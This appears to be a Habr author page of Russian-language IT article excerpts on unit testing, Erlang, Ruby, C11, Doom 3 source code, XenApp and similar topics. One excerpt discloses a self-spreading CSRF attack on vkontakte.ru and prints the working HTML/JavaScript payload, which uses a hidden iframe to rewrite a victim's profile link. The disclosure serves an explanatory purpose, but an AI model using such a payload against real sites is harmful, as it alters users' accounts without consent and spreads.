Search
Write a publication
Pull to refresh
12
0
Никитюк Владимир @jaffa

User

Send message

The Art of Unit Testing

Reading time4 min
Views58K


Есть некоторые категории знаний, которые профессиональный разработчик познает в процессе своей работы, не прилагая к этому особенных дополнительных усилий. Вот, например, мало кто из нас читал замечательную книгу по регулярным выражениям Джеффри Фирддла, чтобы познакомиться с одноименной темой. Безусловно, есть масса людей, для которых «регвыры» стали смыслом жизни и без подобных фундаментальных знаний никак не обойтись. Но в большинстве случаев пары мелких статей и справки в соответствующем разделе документации будет достаточно для более или менее комфортной работы с регулярными выражениями (если такое понятие, как «комфортная работа» с регулярными выражениями вообще существуетJ).

Аналогичным образом мы обычно относимся и к изучению юнит тестирования. Ведь юнит-тесты – это же не rocket science; для их изучения не требуется многолетняя подготовка и множество бессонных ночей проведенных за изучением толстенных «талмудов» от гуру юнит-тестирования. Концепцию автоматизированного тестирования кода можно объяснить за 10 минут, а познакомившись с одним из тестовых фреймворков семейства xUnit (еще 15 минут), вы сможете работать с любым другим фреймворком практически сразу же. Затем нужно будет потратить еще 20 минут на изучение какого-нибудь изоляционного фреймворка, типа Rhino Mocks, и, вуаля, у нас есть еще один профессионал в области юнит-тестов.

Читать дальше →

CSRF на vkontakte.ru

Reading time1 min
Views7.9K
Обнаружил забавную атаку на сайт vkontakte.ru.
При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:
<script>
function doit() {
  var html;
  html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com>';
  window.frames["frm"].document.body.innerHTML = html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.

Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.

Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.

Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)

External Term Format

Reading time3 min
Views2.9K
Если какой-либо программе необходимо передать данные эрланговсому серверу, эти данные предварительно должны быть сериализованы. То есть преобразованы в бинарный вид, так, чтобы эрланг мог потом распаковать их обратно. Обычно это делают с помощью ASN.1, google protobuf, thrift и т.д. Все это без сомнения достойные продукты.

В качестве альтернативного варианта можно рассмотреть использование эрланговского external term format. В исполняемой системе эрланга есть две функции - term_to_binary() и binary_to_term(), которые эффективно и быстро могут запаковать/распаковать любые значения в этот формат, а сам формат хорошо описан в документации — www.erlang.org/doc/apps/erts/erl_ext_dist.html

Как это все работает.
Читать дальше →

Строки до 23 символов в Ruby обрабатываются в 1,92 раза быстрее

Reading time3 min
Views2K
Интересный факт: в Ruby 1.9.3 с 64-битным интерпретатором обработка строк длиной 23 и менее символов происходит почти вдвое быстрее, чем строк длиной 24 и более символов. Другими словами, этот код Ruby:

str = "1234567890123456789012" + "x"

… будет обработан в 1,92 раза быстрее, чем этот:

str = "12345678901234567890123" + "x"

Для 32-битного интерпретатора Ruby граница производительности находится в районе 11/12 символов.

Конечно, довольно глупо изучать свой код и уменьшать все строки до 11 или 23 символов. Разница в производительности проявляется только на сотнях тысяч строк. Однако, желающим покопаться во внутренностях замечательного языка Ruby может быть интересно, почему так происходит.
Читать дальше →

[новости archlinux testing] M-I-T не нужен. Да здравствует kmod-3!

Reading time2 min
Views892
Только что в тестинге появился kmod-3, являющийся заменой для module-init-tools. Проект всё еще довольно молодой, но у него уже есть множество сторонников, и разрабы арча тесно возимодествуют с апстримщиками в целях поиска и правки багов.

Если совсем коротко, kmod делает то же самое, что и m-i-t, но гораздо быстрее. Это поможет ускорить загрузку с использованием udev и systemd.

Читать дальше →

Ричард Столлман ответил, как он встречает Новый год

Reading time3 min
Views3.4K
Вопрос, встречает ли Столлман новый год, и как именно, на короткое время стал столь частым предметом дискуссий, что пришлось пойти и установить великую истину.

Читать дальше →

Поздравление С Новым годом в стиле Brainfuck

Reading time2 min
Views8.6K
Хочется поздравить читателей блога с Новым годом. Но не просто так, а написав поздравление на Brainfuck.

Первое поздравление выводит сообщение в виде ASCII-Art.

image

Читать дальше →

Вышел стандарт C11 (C1X)

Reading time1 min
Views24K
19 декабря 2011 года международная организация по стандартизации ISO обьявила о выходе стандарта C — ISO/IEC 9899:2011 (ранее неофициально известного как C1X).

Основные изменения по сравнению с C99:
  • Выравнивание данных
  • Спецификатор функции _Noreturn
  • Выражения, не зависящие от типа (Type-generic expressions) с использованием ключевого слова _Generic
  • Поддержка многопоточности
  • Улучшенная поддержка Unicode
  • Функция gets, была признана устаревшей и заменена на gets_s
  • Статические утверждения(Assertions)
  • Функция quick_exit
  • Макросы для создания комплексных чисел


Частичная поддержка функций нового стандарта имеется в компиляторах GCC и Clang.

Подробнее (англ)

UPD:
Финальной версии стандарта, привычно, нет в свободном доступе, но можно скачать последний черновик

Facebook улучшил алгоритмы машинного обучения, пользователи напуганы

Reading time2 min
Views3.4K
На Reddit и HN развернулись большая дискуссия на тему последних достижений системы машинного обучения Facebook. Даже опытные разработчики сходу не могут понять, каким образом Facebook «угадывает» конкретные факты, которое, вроде бы, никак не может знать.

Последней темой обсуждения стали географические подсказки, которые Facebook выводит при загрузке фотографий на сайт. Зачастую он точно угадывает, где конкретно были сделаны снимки, с точностью до улицы и конкретного здания. При этом в фотографиях нет EXIF-заголовков, на камере нет GPS, файлы загружались на сайт с другого места (то есть геотаггинг не работает), а на снимках изображены, например, новорожденный в роддоме или смазанные интерьеры ночного клуба (то есть фотографии сделаны внутри здания). Контекстный таггинг тоже не должен работать — на фотографиях не распознаны никакие лица или надписи.
Читать дальше →

RedHat CEO: не попадитесь в «облачный» Vendor Lock-in

Reading time5 min
Views2.9K
Wikipedia: «Vendor lock-in» (также «proprietary lock-in», «customer lock-in», «привязка к поставщику», «замыкание на одном поставщике», «барьер для смены поставщика»), в экономике — зависимость потребителя от продуктов и сервисов одного поставщика, невозможность сменить поставщика из‑за высоких затрат на переход.

Некоторое время назад пытался рассказать об облачной стратегии Red Hat. Честно говоря, получилось не очень. :-) Что, в общем-то не удивительно, по нескольким слайдам сложно всё объяснить, но главная мысль заключается в единственной фразе: "Red Hat будет стараться занять рынок, обеспечивая переносимость приложениям между поставщиками «облачной» инфраструктуры и сервисов." Почему это важно, читайте под катом (статья немного сокращена и добавлены картинки, для наглядности).
Читать дальше →

Пишем ГОСТ криптопровайдер

Reading time18 min
Views40K
рис.1
Секреты создания CSP для Windows раскрыты в статье Ю.С.Зырянова.

Российские криптоалгоритмы ГОСТ реализованы в OpenSSL Gost.

Удивлен, что на просторах Интернета не удалось найти подтверждения, что кем-то был создан интерфейс криптопровайдера ГОСТ под Windows с использованием вышеприведенных инструментов.

Можно подумать, что эта задача под силу только крупным коммерческим компаниям, имеющим большой опыт в сфере информационной безопасности, к примеру, таким как:Опровергнуть, хотя бы частично, это утверждение и будет задачей данной статьи.
Читать дальше →

PVS-Studio: анализируем код Doom 3

Reading time6 min
Views3.5K
Doom 3 and PVS-Studio
Компания id Software имеет лицензию на PVS-Studio. Тем не менее, мы решили проверить исходные коды Doom 3, которые недавно были выложены в сеть. Результат — ошибок найдено мало, но всё-таки найдено. Я предполагаю, что это можно объяснить так.

Часть кода Doom3 используется и сейчас и, наверное, там ошибки уже исправлены. Часть кода устарела и не используется. Скорее всего, именно там и найдены подозрительные участки кода.

Для тех, кто интересуется данной тематикой, предлагаю вниманию фрагменты кода, на которые указал анализатор PVS-Studio. Как всегда напоминаю, что рассматриваю только некоторые предупреждения. Другие участки проекта требуют знания структуры программы, и я их не изучал.

Читать дальше →

Исходный код движка Doom III доступен под свободной лицензией

Reading time1 min
Views14K
John D. Carmack, один из основателей и ведущий разработчик id Software в своем Твиттере объявил о доступности исходного кода игры Doom III.

image

Компания долго не могла опубликовать исходный код движка в связи с использованием в нем запатентованного алгоритма расчета теней от Creative Labs, публикация которого могла бы стать правонарушением. Теперь же данный участок кода переписан и юристы Zenimax, материнской компании id Software, к нему претензий не имеют.

Исходный код опубликован на GitHub и на официальном FTP компании под лицензией GPL v3 (версия выбрана теми же юристами Zenimax; Кармак не выяснял почему). Игровые данные по прежнему проприетарные и распространяются платно.
Читать дальше →

Amazon открыла исходный код Kindle Fire OS

Reading time1 min
Views2K
Сегодня Amazon опубликовала исходники Kindle Fire OS — операционной системы своего планшета Kindle Fire, который, как утверждают в компании, продается настолько успешно, что потребовалось заказать дополнительную партию устройств у производителя.

Kindle Fire OS представляет собой «форкнутую» версию Android 2.3, основные модификации которой относятся с интеграции с облачными сервисами Amazon для хранения пользовательского контента и магазином Amazon Appstore.

Цена Kindle Fire составляет 199 $.

Скачать исходники можно здесь.

Google Plugin for Eclipse теперь Open Source

Reading time1 min
Views1.1K
image16 ноября в официальном блоге Google Web Toolkit появилась новость о том, что Google Plugin for Eclipse (GPE) теперь является Open Source проектом. Открытым также стал проект GWT Designer. Проекты используют Eclipse Public License (EPL) 1.0 в качестве лицензии.
Весь код GPE теперь доступен на странице плагина, как и исходный код GWT Designer, который также выложен на Google Code. Напомним, что GWT Designer основан на проекте WindowBuilder, открытом с 2010 года.
В ближайшее время ожидается расширение круга коммитеров плагина.
Безусловно, это известие является приятным сюрпризом от Google. Будем надеяться, что в дальнейшем плагин будет развиваться и делать жизнь разработчиков ещё проще и удобнее.

XenApp: Опыт установки и настройки

Reading time6 min
Views91K
Доброго времени суток, Хабровчане.

Преамбула

XenApp (читается «ЗенАп») придуман компанией Citrix для виртуализации и доставки приложений через тонкий клиент, посредством своего собственного протокола CIA. Надо сказать, что идея сама по себе хороша, потому что в теории избавляет от многих головняков, типа покупки лицензионного софта от Империи Зла и других, чуть менее жадных вендоров. Конечно, это интересно, только если брать приложения в аренду, потому что лицензии на XenApp стоят достаточно дорого. Хочется отметить, что XenApp работает только под Windows.
Не знаю, к сожалению или к счастью, но все крупнейшие производители самого потребляемого софта сейчас имеют свои полнофункциональные продукты, доступные либо через web-интерфейс, либо через тонкий клиент, поэтому мне кажется, что XenApp, как отдельный продукт, очень скоро станет неинтересен конечному потребителю, и останется в поле зрения у компаний, которые сами занимаются арендой приложений. Как раз на аренду приложений сделала ставку моя компания.
И после того, как я был озадачен этой интересной затеей, я понял, что гугль ничего внятного на русском языке про XenApp не выдаёт, а всё, что можно покурить — это обширный мануал на сайте Citrix.com на английском языке. Но разве для нас это проблема?
Руководствуясь чувством «помочь ближнему своему» я решил описать процесс установки и настройки XenApp, который мне пришлось расковыривать самостоятельно, используя англоязычный мануал и плохо знакомого человека, который лицензированный специалист Citrix.
Читать дальше →

Red Hat, HP и новый рекорд скорости виртуализации

Reading time2 min
Views3.5K
Рекорд производительности виртуализации, как пример успешного технологического партнёрства.

Пару недель назад появилась публичная бета-версия RHEV 3.0, в основе которой лежат такие открытые проекты, разрабатываемые в Red Hat, как KVM и oVirt. Я подумал, что это хороший повод рассказать о новом рекорде производительности виртуализации, достигнутом благодаря сотрудничеству HP и Red Hat.
Читать дальше →

Microsoft поддерживает Hadoop

Reading time1 min
Views1.2K
Компания Microsoft приняла решение поддержать пользователей, которые хотят делать кластеры Hadoop на Windows Server и Windows Azure. В рамках стратегического сотрудничества с Hortonworks будет разработан стек для Hadoop. Microsoft обещает публиковать код под открытой лицензией, делая коммиты в проект Apache по окончании разработки.

Вдобавок, Microsoft создаст «простые версии, которые можно скачать, инсталлировать и настроить» различных технологий, связанных с Hadoop, в том числе HDFS, Hive и Pig. Это должно стимулировать использование Hadoop корпоративными заказчиками.
Читать дальше →

V-Ray и Iray. Сравнение и обзор

Reading time2 min
Views29K
Скорость рендеринга или качество результата? – вот в чем вопрос. Рано или поздно приходится выбирать второе, и длительность рендеринга начинает составлять часы, сутки, недели. Денег на рендер-ферму нет, поэтому приходится обходиться одним 6-ядерным процессором.
Но вдруг, компания Mental Images, являющаяся дочерней компанией NVIDIA Corporation, выпускает новую систему рендеринга Iray, которая позволит выполнять рендеринг на графической карте. Это поселило надежду на то, что с помощью многоядерных GPU можно будет существенно сократить время рендеринга.
Я решил сравнить качество и производительность V-ray, который использует только CPU, и Iray, который считает и на CPU и на GPU. Проверять стал на картах NVIDIA с поддержкой CUDA и процессоре Intel Core i7-980.
Читать дальше →

Gartner оценивает объем рынка оборудования для дата-центров в 99 млрд долларов США

Reading time1 min
Views595


В этом году, впервые после кризиса 2008 года, объем рынка оборудования для дата-центров увеличился до 98,9 миллиардов долларов США. Во всяком случае, именно такие данные приводит аналитическое агентство Gartner. В прошлом году, по словам экспертов, аналогичный показатель составил всего 87,8 миллиарда долларов США. Улучшение составило 12,7%, что является очень неплохим показателем.

Читать дальше →

Information

Rating
Does not participate
Location
Харьков, Харьковская обл., Украина
Date of birth
Registered
Activity